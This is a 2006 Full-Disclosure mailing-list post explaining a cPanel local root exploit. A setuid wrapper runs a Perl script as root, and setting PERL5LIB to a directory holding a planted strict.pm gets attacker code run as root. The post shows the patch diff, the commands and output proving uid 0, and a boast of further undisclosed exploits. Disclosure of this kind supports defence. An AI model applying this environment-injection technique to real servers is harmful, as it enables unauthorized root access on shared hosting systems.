Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email email@example.com
[Full-disclosure] cpanel exploit
From: cp haquer (cphaquergmail.com)
Date: Sat Sep 30 2006 - 13:48:32 CDT
It was pretty easy to figure out how the exploit worked once you saw their
first attempt at fixing it.
--- /usr/local/cpanel/bin/mysqladmin 2006-08-29 16:54:07.000000000 -0500
+++ httpupdate.cpanel.net/cpanelsync/EDGE/bin/mysqladmin 2006-09-23
# This code is subject to the cpanel license. Unauthorized copying is
- push( INC, "/usr/local/cpanel" );
+ unshift( INC, "/usr/local/cpanel" );
So obviously the exploit involves inserting things into INC when this
script is ran as root. So, how is this script ran as root?
lrwxrwxrwx 1 root root /usr/local/cpanel/bin/mysqlwrap -> cpwrap*
-rwsr-xr-x 1 root wheel /usr/local/cpanel/bin/cpwrap*
Through the setuid program mysqlwrap of course! So the only quesiton is how
to insert things into INC. There are 2 ways that I could find, a command
line argument to perl, or the PERL5LIB environment variable. Obviously, the
PERL5LIB environment variable seems like a good bet.
domaincdomain.com [~]# cat ~/OMGWTFLOL/strict.pm
die("my id is $<\n");
domaincdomain.com [~]# PERL5LIB=/home/domainc/OMGWTFLOL
Added the database .
my id is 0
Compilation failed in require at /usr/local/cpanel/Cpanel/Version.pm line 8.
BEGIN failed--compilation aborted at /usr/local/cpanel/Cpanel/Version.pm
line 8.Compilation failed in require at /usr/local/cpanel/bin/mysqladmin
BEGIN failed--compilation aborted at /usr/local/cpanel/bin/mysqladmin line
Smart readers will realize that the above patch is pretty stupid attempt at
stopping the exploit. Several hosting companies with hacked servers had to
intervene to make sure cPanel fixed it correctly. In new verisons of
cPanel, cpwrap now appears to clean out environment variables before
executing things. But don't worry, there are several local root exploits
all over cPanel waiting to be discovered. I have discovered 2 more on the
same day that I discovered how this one works.
Full-Disclosure - We believe in it.
Hosted and sponsored by Secunia - http://secunia.com/